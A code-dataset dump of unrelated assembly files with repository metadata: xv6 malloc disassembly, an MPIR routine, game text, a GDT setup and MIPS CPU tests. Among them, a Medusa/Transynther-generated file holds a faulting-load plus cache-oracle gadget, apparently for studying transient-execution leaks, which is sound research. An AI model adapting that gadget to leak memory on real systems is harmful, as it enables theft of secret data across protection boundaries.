8e0: 72 08 jb 8ea <free+0x2a>
8e2: 39 c8 cmp %ecx,%eax
8e4: 72 12 jb 8f8 <free+0x38>
8e6: 39 d1 cmp %edx,%ecx
8e8: 72 0e jb 8f8 <free+0x38>
8ea: 89 d0 mov %edx,%eax
free(void *ap)
{
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
8ec: 39 c8 cmp %ecx,%eax
8ee: 66 90 xchg %ax,%ax
8f0: 72 e6 jb 8d8 <free+0x18>
8f2: 8b 10 mov (%eax),%edx
8f4: eb e8 jmp 8de <free+0x1e>
8f6: 66 90 xchg %ax,%ax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
8f8: 8b 71 04 mov 0x4(%ecx),%esi
8fb: 8d 3c f1 lea (%ecx,%esi,8),%edi
8fe: 39 d7 cmp %edx,%edi
900: 74 19 je 91b <free+0x5b>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
902: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
905: 8b 50 04 mov 0x4(%eax),%edx
908: 8d 34 d0 lea (%eax,%edx,8),%esi
90b: 39 ce cmp %ecx,%esi
90d: 74 21 je 930 <free+0x70>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
90f: 89 08 mov %ecx,(%eax)
freep = p;
911: a3 a8 0a 00 00 mov %eax,0xaa8
}
916: 5b pop %ebx
917: 5e pop %esi
918: 5f pop %edi
919: 5d pop %ebp
91a: c3 ret
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
91b: 03 72 04 add 0x4(%edx),%esi
bp->s.ptr = p->s.ptr->s.ptr;
91e: 8b 12 mov (%edx),%edx
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
920: 89 71 04 mov %esi,0x4(%ecx)
bp->s.ptr = p->s.ptr->s.ptr;
923: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
926: 8b 50 04 mov 0x4(%eax),%edx
929: 8d 34 d0 lea (%eax,%edx,8),%esi
92c: 39 ce cmp %ecx,%esi
92e: 75 df jne 90f <free+0x4f>
p->s.size += bp->s.size;
930: 03 51 04 add 0x4(%ecx),%edx
933: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
936: 8b 53 f8 mov -0x8(%ebx),%edx
939: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
93b: a3 a8 0a 00 00 mov %eax,0xaa8
}
940: 5b pop %ebx
941: 5e pop %esi
942: 5f pop %edi
943: 5d pop %ebp
944: c3 ret
945: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
949: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000950 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
950: 55 push %ebp
951: 89 e5 mov %esp,%ebp
953: 57 push %edi
954: 56 push %esi
955: 53 push %ebx
956: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
959: 8b 5d 08 mov 0x8(%ebp),%ebx
if((prevp = freep) == 0){
95c: 8b 0d a8 0a 00 00 mov 0xaa8,%ecx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
962: 83 c3 07 add $0x7,%ebx
965: c1 eb 03 shr $0x3,%ebx
968: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
96b: 85 c9 test %ecx,%ecx
96d: 0f 84 93 00 00 00 je a06 <malloc+0xb6>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
973: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
975: 8b 50 04 mov 0x4(%eax),%edx
978: 39 d3 cmp %edx,%ebx
97a: 76 1f jbe 99b <malloc+0x4b>
p->s.size -= nunits;
p += p->s.size;
p->s.size = nunits;
}
freep = prevp;
return (void*) (p + 1);
97c: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
983: 90 nop
984: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
if(p == freep)
988: 3b 05 a8 0a 00 00 cmp 0xaa8,%eax
98e: 74 30 je 9c0 <malloc+0x70>
990: 89 c1 mov %eax,%ecx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
992: 8b 01 mov (%ecx),%eax
if(p->s.size >= nunits){
994: 8b 50 04 mov 0x4(%eax),%edx
997: 39 d3 cmp %edx,%ebx
999: 77 ed ja 988 <malloc+0x38>
if(p->s.size == nunits)
99b: 39 d3 cmp %edx,%ebx
99d: 74 61 je a00 <malloc+0xb0>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
99f: 29 da sub %ebx,%edx
9a1: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
9a4: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
9a7: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
9aa: 89 0d a8 0a 00 00 mov %ecx,0xaa8
return (void*) (p + 1);
9b0: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
9b3: 83 c4 1c add $0x1c,%esp
9b6: 5b pop %ebx
9b7: 5e pop %esi
9b8: 5f pop %edi
9b9: 5d pop %ebp
9ba: c3 ret
9bb: 90 nop
9bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
morecore(uint nu)
{
char *p;
Header *hp;
if(nu < PAGE)
9c0: 81 fb ff 0f 00 00 cmp $0xfff,%ebx
9c6: b8 00 80 00 00 mov $0x8000,%eax
9cb: bf 00 10 00 00 mov $0x1000,%edi
9d0: 76 04 jbe 9d6 <malloc+0x86>
9d2: 89 f0 mov %esi,%eax
9d4: 89 df mov %ebx,%edi
nu = PAGE;
p = sbrk(nu * sizeof(Header));
9d6: 89 04 24 mov %eax,(%esp)
9d9: e8 42 fc ff ff call 620 <sbrk>
if(p == (char*) -1)
9de: 83 f8 ff cmp $0xffffffff,%eax
9e1: 74 18 je 9fb <malloc+0xab>
return 0;
hp = (Header*)p;
hp->s.size = nu;
9e3: 89 78 04 mov %edi,0x4(%eax)
free((void*)(hp + 1));
9e6: 83 c0 08 add $0x8,%eax
9e9: 89 04 24 mov %eax,(%esp)
9ec: e8 cf fe ff ff call 8c0 <free>
return freep;
9f1: 8b 0d a8 0a 00 00 mov 0xaa8,%ecx
}
freep = prevp;
return (void*) (p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
9f7: 85 c9 test %ecx,%ecx
9f9: 75 97 jne 992 <malloc+0x42>
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
9fb: 31 c0 xor %eax,%eax
9fd: eb b4 jmp 9b3 <malloc+0x63>
9ff: 90 nop
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
a00: 8b 10 mov (%eax),%edx
a02: 89 11 mov %edx,(%ecx)
a04: eb a4 jmp 9aa <malloc+0x5a>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
a06: c7 05 a8 0a 00 00 a0 movl $0xaa0,0xaa8
a0d: 0a 00 00
base.s.size = 0;
a10: b9 a0 0a 00 00 mov $0xaa0,%ecx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
a15: c7 05 a0 0a 00 00 a0 movl $0xaa0,0xaa0
a1c: 0a 00 00
base.s.size = 0;
a1f: c7 05 a4 0a 00 00 00 movl $0x0,0xaa4
a26: 00 00 00
a29: e9 45 ff ff ff jmp 973 <malloc+0x23>
| 30.936737 | 73 | 0.420822 |
61cd0beefe63651d004d4dabb7d5db601439e261 | 1,158 | asm | Assembly | externals/mpir-3.0.0/mpn/x86_64/k8/not.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 12 | 2021-09-29T14:50:06.000Z | 2022-03-31T15:01:21.000Z | externals/mpir-3.0.0/mpn/x86_64/k8/not.asm | JaminChan/eos_win | c03e57151cfe152d0d3120abb13226f4df74f37e | [
"MIT"
] | 15 | 2021-12-24T22:53:49.000Z | 2021-12-25T10:03:13.000Z | LibSource/mpir/mpn/x86_64/k8/not.asm | ekzyis/CrypTool-2 | 1af234b4f74486fbfeb3b3c49228cc36533a8c89 | [
"Apache-2.0"
] | 10 | 2021-10-17T19:46:51.000Z | 2022-03-18T02:57:57.000Z | dnl mpn_not
dnl Copyright 2011 The Code Cavern
dnl This file is part of the MPIR Library.
dnl The MPIR Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 2.1 of the License, or (at
dnl your option) any later version.
dnl The MPIR Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the MPIR Library; see the file COPYING.LIB. If not, write
dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
dnl Boston, MA 02110-1301, USA.
include(`../config.m4')
ASM_START()
PROLOGUE(mpn_not)
mov $1,%ecx
lea -8(%rdi,%rsi,8),%rdi
sub %rsi,%rcx
jnc skiplp
ALIGN(16)
lp: notq (%rdi,%rcx,8)
notq 8(%rdi,%rcx,8)
add $2,%rcx
jnc lp
skiplp:
jnz case0
case1: notq (%rdi,%rcx,8)
case0: ret
EPILOGUE()
| 28.95 | 79 | 0.748705 |
3c5f637960b74176d00289adc0b7627a3324bd45 | 302 | asm | Assembly | text/maps/school.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | text/maps/school.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | text/maps/school.asm | adhi-thirumala/EvoYellow | 6fb1b1d6a1fa84b02e2d982f270887f6c63cdf4c | [
"Unlicense"
] | null | null | null | _SchoolText1::
text "Whew! I'm trying"
line "to memorize all"
cont "my notes."
done
_SchoolText3::
text "Sis says #MON"
line "will become tame"
cont "if you treat them"
cont "nicely."
done
_SchoolText2::
text "Okay!"
para "Be sure to read"
line "the blackboard"
cont "carefully!"
done
| 14.380952 | 25 | 0.682119 |
d1b46851a9d3f472fd71c567aa232738b803e7b5 | 5,852 | asm | Assembly | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_882.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_882.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/US/_zr_/i9-9900K_12_0xa0_notsx.log_21829_882.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x5078, %r15
nop
nop
sub %rcx, %rcx
movl $0x61626364, (%r15)
nop
nop
xor %rbx, %rbx
lea addresses_WT_ht+0x19d78, %rbx
nop
nop
xor $56500, %r11
movw $0x6162, (%rbx)
and %rcx, %rcx
lea addresses_WC_ht+0x14378, %rdi
nop
sub %rcx, %rcx
mov (%rdi), %rbx
nop
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x1974, %r15
clflush (%r15)
nop
nop
nop
nop
nop
and $36252, %r12
mov (%r15), %rdi
nop
nop
nop
nop
nop
cmp $5128, %rcx
lea addresses_D_ht+0x1a478, %r12
nop
nop
nop
sub $14667, %rcx
movl $0x61626364, (%r12)
cmp %r12, %r12
lea addresses_UC_ht+0x159f8, %rsi
lea addresses_WC_ht+0xf178, %rdi
inc %r14
mov $1, %rcx
rep movsl
inc %r12
lea addresses_UC_ht+0x8278, %rsi
lea addresses_normal_ht+0xaff0, %rdi
nop
nop
xor %r12, %r12
mov $19, %rcx
rep movsl
nop
nop
nop
nop
dec %r15
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r13
push %r15
push %r8
push %rbp
push %rdi
push %rsi
// Store
lea addresses_PSE+0xa078, %rbp
nop
nop
nop
nop
dec %r10
mov $0x5152535455565758, %rsi
movq %rsi, %xmm1
movntdq %xmm1, (%rbp)
nop
nop
nop
and %rbp, %rbp
// Faulty Load
lea addresses_US+0x18d78, %r10
nop
nop
nop
dec %r8
mov (%r10), %bp
lea oracles, %r10
and $0xff, %rbp
shlq $12, %rbp
mov (%r10,%rbp,1), %rbp
pop %rsi
pop %rdi
pop %rbp
pop %r8
pop %r15
pop %r13
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 16, 'NT': True, 'same': False, 'congruent': 6}}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 2, 'NT': False, 'same': False, 'congruent': 8}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 8, 'NT': False, 'same': False, 'congruent': 8}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 39.540541 | 2,999 | 0.658407 |
8698932d03c4e84df9051ec6fed9e4ca39581a27 | 794 | asm | Assembly | src/data/gdt.asm | natiiix/Nebula | 0b4b226bb9e217af57b200fae4850ad227432fc3 | [
"MIT"
] | 1 | 2020-11-11T16:06:26.000Z | 2020-11-11T16:06:26.000Z | src/data/gdt.asm | natiiix/Nebula | 0b4b226bb9e217af57b200fae4850ad227432fc3 | [
"MIT"
] | 13 | 2020-05-24T00:45:01.000Z | 2020-06-02T14:41:24.000Z | src/data/gdt.asm | natiiix/nebula | 0b4b226bb9e217af57b200fae4850ad227432fc3 | [
"MIT"
] | null | null | null | SECTION .rodata
gdt_start: ; GDT - Global Descriptor Table - used for memory segmentation
gdt_null: ; null segment - reserved by design, never actually used
dq 0
gdt_code: ; code segment
dw 0xFFFF
dw 0x0000
db 0x00
db 0b10011010
db 0b11001111
db 0x00
gdt_data: ; data segment
dw 0xFFFF
dw 0x0000
db 0x00
db 0b10010010
db 0b11001111
db 0x00
gdt_end: ; end of GDT
gdt_desc: ; GDT descriptor
dw gdt_end - gdt_start - 1 ; size of GDT in bytes minus 1
dd gdt_start ; offset - address of the actual GDT
CODE_SEG equ gdt_code - gdt_start ; ID of the code segment
DATA_SEG equ gdt_data - gdt_start ; ID of the data segment
| 24.8125 | 86 | 0.598237 |
9f0b8683921c1ae09ab11d5a0943223d7fea00b8 | 2,110 | asm | Assembly | tests/mips1.asm | QuarticCat/qc-mips-cpu | 500a8f82c7cb9876584c9cdeee9438534f110f5b | [
"MIT"
] | null | null | null | tests/mips1.asm | QuarticCat/qc-mips-cpu | 500a8f82c7cb9876584c9cdeee9438534f110f5b | [
"MIT"
] | null | null | null | tests/mips1.asm | QuarticCat/qc-mips-cpu | 500a8f82c7cb9876584c9cdeee9438534f110f5b | [
"MIT"
] | null | null | null | .text
# This test does not include any hazards, jump, branch
# This test only aims to test the normal function of the cpu.
# To test wheter the cpu can do other instructions correctly.
addi $v0, $zero, 1
addi $v1, $zero, 2
addiu $a0, $zero, 20
addiu $a1, $zero, 16
addiu $a2, $zero, 4
add $a3, $v0, $v1 # 3 in $a3
addi $t0, $v0, -2 # -1 in $t0
sub $t1, $a1, $a0 # -4 in $t1 1111_...._1100
subu $t2, $a0, $a1 # 4 in $t2
slt $t3, $v1, $v0 # 0 in $t3
slt $t4, $v0, $v1 # 1 in $t4
sll $t5, $t0, 3 # 32'hfffffff8 in $t5
sllv $t6, $t0, $a2 #32'hfffffff0 in $t6
srl $t7, $t0, 3 # 32'h1fffffff in $t7
srlv $s1, $t0, $a2 # 32'h0fffffff in $t8
sra $s2, $t5, 2 # 32'hfffffffe in $s2
srav $s3, $t5, $v0 # 32'hfffffffc in $s3
and $s4, $t1, $t2 # 4 in $s4
andi $s5, $t1, 13 # 12 in $s5
or $s6, $t1, $v1 # -2 in $s6
ori $s7, $t1, 3 # -1 in $s7
nor $t8, $t1, $v1 # 1 in $t8
xor $t9, $t1, $v1 # -2 in $t9
xori $k0, $t1, -5 # 32'hffff0007 in $k0
addu $k1, $t0, $v0 # 0 in $k1
sw $v0, 0($zero) # 1 in DATA_MEM[0]
sw $v1, 4($zero) # 2 in DATA_MEM[1]
sw $a0, 8($zero) # 20 in DATA_MEM[2]
sw $a1, 12($zero) # 16 in DATA_MEM[3]
sw $a2, 16($zero) # 4 in DATA_MEM[4]
sw $a3, 20($zero) # 3 in DATA_MEM[5]
sw $t0, 24($zero) # -1 in DATA_MEM[6]
sw $t1, 28($zero) # -4 in DATA_MEM[7]
sw $t2, 32($zero) # 4 in DATA_MEM[8]
sw $t3, 36($zero) # 0 in DATA_MEM[9]
sw $t4, 40($zero) # 1 in DATA_MEM[10]
sw $t5, 44($zero) # 32'hfffffff8 in DATA_MEM[11]
sw $t6, 48($zero) # 32'hfffffff0 in DATA_MEM[12]
sw $t7, 52($zero) # 32'h1fffffff in DATA_MEM[13]
sw $s1, 56($zero) # 32'h0fffffff in DATA_MEM[14]
sw $s2, 60($zero) # 32'hfffffffe in DATA_MEM[15]
sw $s3, 64($zero) # 32'hfffffffc in DATA_MEM[16]
sw $s4, 68($zero) # 4 in DATA_MEM[17]
sw $s5, 72($zero) # 12 in DATA_MEM[18]
sw $s6, 76($zero) # -2 in DATA_MEM[19]
sw $s7, 80($zero) # -1 in DATA_MEM[20]
sw $t8, 84($zero) # 1 in DATA_MEM[21]
sw $t9, 88($zero) # -2 in DATA_MEM[22] **********
lw $gp, 52($zero) # 32'h1fffffff in $gp
sw $k0, 92($zero) # 32'hffff0007 in DATA_MEM[23]
sw $k1, 96($zero) # 0 in DATA_MEM[24]
sw $gp, 100($zero) # 32'h1fffffff in DATA_MEM[25] | 37.017544 | 61 | 0.596209 |
3765745d664ae44d29c64a2d548670dd245757df | 45,363 | asm | Assembly | P6/P6Judger - 100 testpoints/testpoint/testpoint64.asm | flyinglandlord/BUAA-CO-2021 | 1aa28b09762dfb2376ed2aac4126839f0e6fcf93 | [
"MIT"
] | 5 | 2021-12-05T12:58:26.000Z | 2022-03-31T02:05:13.000Z | P6/P6Judger - 100 testpoints/testpoint/testpoint64.asm | OliverDu8-24/BUAA-CO-2021 | 9959abd90de9039d751bab64f153547e76066665 | [
"MIT"
] | null | null | null | P6/P6Judger - 100 testpoints/testpoint/testpoint64.asm | OliverDu8-24/BUAA-CO-2021 | 9959abd90de9039d751bab64f153547e76066665 | [
"MIT"
] | 2 | 2021-12-19T11:49:48.000Z | 2021-12-22T10:25:38.000Z | ori $1, $0, 14
ori $2, $0, 3
ori $3, $0, 5
ori $4, $0, 11
sw $1, 0($0)
sw $1, 4($0)
sw $1, 8($0)
sw $4, 12($0)
sw $3, 16($0)
sw $1, 20($0)
sw $3, 24($0)
sw $2, 28($0)
sw $2, 32($0)
sw $3, 36($0)
sw $3, 40($0)
sw $4, 44($0)
sw $2, 48($0)
sw $1, 52($0)
sw $1, 56($0)
sw $3, 60($0)
sw $2, 64($0)
sw $1, 68($0)
sw $1, 72($0)
sw $1, 76($0)
sw $1, 80($0)
sw $4, 84($0)
sw $4, 88($0)
sw $2, 92($0)
sw $1, 96($0)
sw $2, 100($0)
sw $1, 104($0)
sw $1, 108($0)
sw $4, 112($0)
sw $4, 116($0)
sw $2, 120($0)
sw $3, 124($0)
mfhi $1
xori $2, $1, 15
lui $4, 15
divu $2, $2
TAG1:
addiu $4, $4, 1
mtlo $4
or $4, $4, $4
multu $4, $4
TAG2:
mtlo $4
lui $1, 8
sll $0, $0, 0
sllv $3, $4, $4
TAG3:
mflo $3
mflo $3
and $1, $3, $3
multu $3, $3
TAG4:
bgtz $1, TAG5
sltu $1, $1, $1
lw $4, 0($1)
lui $3, 0
TAG5:
mthi $3
sll $1, $3, 14
mtlo $1
subu $1, $3, $1
TAG6:
mfhi $2
andi $1, $2, 10
multu $1, $1
xori $2, $2, 8
TAG7:
lui $2, 1
bgtz $2, TAG8
mtlo $2
lui $3, 0
TAG8:
div $3, $3
mflo $4
sll $0, $0, 0
mflo $1
TAG9:
addiu $1, $1, 2
bgez $1, TAG10
mtlo $1
mtlo $1
TAG10:
addu $2, $1, $1
sb $1, 0($1)
mflo $3
bgez $1, TAG11
TAG11:
sb $3, 0($3)
sb $3, 0($3)
sb $3, 0($3)
srl $2, $3, 3
TAG12:
bne $2, $2, TAG13
mflo $4
add $3, $2, $2
lui $2, 8
TAG13:
divu $2, $2
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG14:
bgez $2, TAG15
sll $0, $0, 0
lw $4, 0($2)
sra $4, $2, 7
TAG15:
bne $4, $4, TAG16
lui $4, 0
nor $2, $4, $4
beq $4, $4, TAG16
TAG16:
srl $4, $2, 1
sb $4, 1($2)
srlv $3, $4, $4
multu $3, $3
TAG17:
beq $3, $3, TAG18
sw $3, 0($3)
mfhi $2
blez $3, TAG18
TAG18:
lui $4, 13
mflo $1
beq $4, $1, TAG19
sb $1, 1($2)
TAG19:
sb $1, 0($1)
beq $1, $1, TAG20
lbu $1, 0($1)
sra $1, $1, 11
TAG20:
lb $3, 0($1)
lhu $1, 0($3)
mflo $1
mtlo $1
TAG21:
mflo $1
sra $3, $1, 11
and $3, $3, $1
srl $1, $1, 1
TAG22:
sh $1, 0($1)
mthi $1
lui $3, 8
divu $3, $3
TAG23:
sll $0, $0, 0
bne $3, $3, TAG24
sll $0, $0, 0
bne $3, $3, TAG24
TAG24:
div $3, $3
bne $3, $3, TAG25
sll $0, $0, 0
lw $2, 0($1)
TAG25:
mult $2, $2
mtlo $2
bgez $2, TAG26
lhu $2, 0($2)
TAG26:
mult $2, $2
sb $2, 0($2)
mthi $2
bne $2, $2, TAG27
TAG27:
mthi $2
mflo $4
sh $2, 0($4)
mflo $4
TAG28:
multu $4, $4
sh $4, 0($4)
mtlo $4
mult $4, $4
TAG29:
blez $4, TAG30
lui $4, 14
lh $4, 0($4)
mflo $2
TAG30:
mfhi $2
bltz $2, TAG31
multu $2, $2
beq $2, $2, TAG31
TAG31:
add $4, $2, $2
lw $2, 0($2)
lw $4, 0($4)
lbu $4, 0($4)
TAG32:
blez $4, TAG33
lui $1, 1
multu $4, $4
bne $1, $1, TAG33
TAG33:
sltiu $1, $1, 0
mflo $1
lhu $3, 0($1)
subu $4, $1, $1
TAG34:
bltz $4, TAG35
sb $4, 0($4)
sll $1, $4, 4
mtlo $1
TAG35:
sra $1, $1, 2
mflo $2
mthi $1
mthi $2
TAG36:
lhu $3, 0($2)
mthi $3
bne $3, $2, TAG37
mtlo $2
TAG37:
lhu $1, 0($3)
mthi $1
lui $2, 1
bne $2, $1, TAG38
TAG38:
sll $0, $0, 0
bgtz $2, TAG39
lui $1, 12
bltz $1, TAG39
TAG39:
sll $0, $0, 0
bne $1, $1, TAG40
